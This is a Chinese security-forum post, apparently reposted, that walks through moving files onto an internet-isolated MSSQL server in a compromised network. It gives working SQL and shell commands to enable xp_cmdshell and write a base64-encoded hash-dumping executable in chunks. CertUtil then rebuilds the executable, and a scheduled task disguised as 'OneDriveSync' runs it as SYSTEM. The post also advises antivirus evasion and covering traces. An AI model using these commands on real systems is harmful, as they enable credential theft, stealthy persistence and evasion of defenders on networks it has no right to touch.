安全矩阵

 找回密码
 立即注册
搜索
查看: 4063|回复: 0

脱网Mssql 如何传文件

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-7-30 08:59:09 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-7-30 09:02 编辑

原文链接:脱网Mssql 如何传文件
0x01 实战场景说明

    通过边界Web跳板机上的数据库配置文件,拿到内网指定Mssql sa密码,再借助代理连至该Mssql机器,启用xp_cmdshell可正常执行系统命令,且Mssql服务以system权限运行(未被降权),经简单摸查后发现此mssql机器 "脱网",其实类似的场景非常常见.
    问题来了,在事先并不知道目标Mssql机器的系统管理账号密码,且3389,445,135,5985端口均未对外开放,也不想通过netsh去操作目标系统防火墙或者手动添加dns的情况下,再或者,有些弟兄可能会说直接在内网找个已控机起个ftp/chfs之类的,然后再用什么 powershell,CertUtil,bitsadmin,mshta,cscript...去远程拉 (注,一般情况下,如果cmd.exe都没拦,通常这些也不会拦),因为我们实际要传的文件可能并不会太大, 这样操作繁琐不说,也没有太大必要
    总之,一句话,如何利用我们手里仅有的mssql权限传一些小文件到目标机器上去执行一些自动化的搜集操作,而不再单单只局限于执行几个命令而已,ok,关于 利用前提和场景,我想我应该已经说明白了,此处暂时不提clr(后续抽空单独说明), 一篇文章暂只解决一个实际问题不想掺杂太多,来看操作

0x02 实操过程

    确认目标Mssql版本,启用xp_cmdshell ,可正常执行系统命令(
注,如果目标机器装有360套装,这样执行会被连续拦两次,一次 cmd.exe,一次wmic.exe, 因为xp_cmdshell默认会起cmd.exe来执行命令
),2012r2标准版(默认无法直接抓明文),64位系统,
不出网

  1. select @@VERSION;
  2. exec sp_configure 'show advanced options', 1;reconfigure;
  3. exec sp_configure 'xp_cmdshell',1;reconfigure;
  4. exec master..xp_cmdshell 'ping www.baidu.com -n 5 -w 2 & wmic OS get Caption,CSDVersion,OSArchitecture,Version & whoami /user & query user & tasklist | findstr "360"';
复制代码

接着,
将我们要执行的exe先打成字节码,之后再base64下,exe就一个功能,抓hash,当然,实际中你也可以把它换成你想要执行的任何exe,别局限,大小尽量控制在1M以内
  1. # powershell -exec bypass
  2. PS > $PEBytes = [IO.File]::ReadAllBytes('pwd.exe');
  3. PS > $Base64String = [System.Convert]::ToBase64String($PEBytes);
  4. PS > $Base64String | Out-File -FilePath PwdDmp.txt
复制代码


    众所周知,mssql执行单条sql时有长度限制,所以需要事先把上面的base64再稍微切割下, 此处是以250个字符为单位直接在线切割(省的再去写代码一段段截取了),切割站如下
  1. https://onlinestringtools.com/split-string
复制代码


切割完成后,分别在行首和行尾批量添加如下内容,目的很明确,
就是为了把上面的base64作为单独的一行分批写到目标mssql机器上的指定文件里





写入过程如下,部分语句已省略,实际要写入的sql条数完全取决于你的exe实际大小,这也是为什么前面说exe最好不要太大,
因为你可能需要连续调几千次cmd.exe, 确实不太好,之后再利用CertUtil把刚刚写进去的txt, 还原成 exe,正常执行即可,这也可能是整个文章最核心的一步,
实际上360并未拦截CertUtil的本地操作
  1. exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAA" <nul';
  2. exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="9ABecPh3NMD8QF5w8sZBgP6QXnD4dzeg/pBecPUmljaOgF" <nul';
  3. exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AACQCgBYAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWJ" <nul';
  4. exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAJAKAAACAAAA" <nul';
  5. exec master..xp_cmdshell '>>c:/users/public/vars.txt set /p="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" <nul';
  6. exec master..xp_cmdshell 'CertUtil -decode c:/users/public/vars.txt c:/users/public/vars.exe';
复制代码


还原成功之后,正常执行该exe抓hash,当然啦,
还有个非常重要的前提,就是你的这个exe务必要事先免杀好才行,不然很可能一还原就被干,更不要说执行了



如果目标Mssql机器能出网,没啥好说的,只需把相应的payload (可能也就十几二三十k的样子,不会太大)用刚刚的方式传过去,然后再用计划任务,系统服务或其它任何方式,把它起起来,说到这儿,多说一句,
不用太在乎落地的问题,即使主机侧没落地,流量如果没加密,也没漏审的情况下,里面还是一样非常清晰,某种程度上来讲,落地和不落地没有非常大的区别
,故不用过于纠结于此



上了之后,立马把计划任务干掉用其它方式去维持
  1. exec master..xp_cmdshell 'CertUtil -decode c:/users/public/OneDriveSync.txt c:/users/public/OneDriveSync.exe';
  2. exec master..xp_cmdshell 'schtasks /create /RL HIGHEST /RU SYSTEM /F /tn "OneDriveSync" /tr "c:\*vars.exe" /sc DAILY /mo 1 /ST 09:25';
  3. exec master..xp_cmdshell 'schtasks /run /tn OneDriveSync';
  4. exec master..xp_cmdshell 'schtasks /delete /F /tn OneDriveSync';
复制代码


最后,用完记得顺手恢复 xp_cmdshell
  1. exec sp_configure 'show advanced options', 1;reconfigure;
  2. exec sp_configure 'xp_cmdshell', 0;reconfigure;
  3. exec master..xp_cmdshell 'whoami';
复制代码

小结:

    算是一种特殊环境下的文件传输方式,非常简单,不存在什么技术含量,之前的文章其实也有提到,只不过当时写的太差,掺杂了太多其它东西,看上去非常乱,弟兄们可能一时忽略了,甚至后来经常会有弟兄来问类似的问题,索性就重写了,废话不多讲,祝弟兄们好运,安

    如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢






















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 04:31 , Processed in 0.018072 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表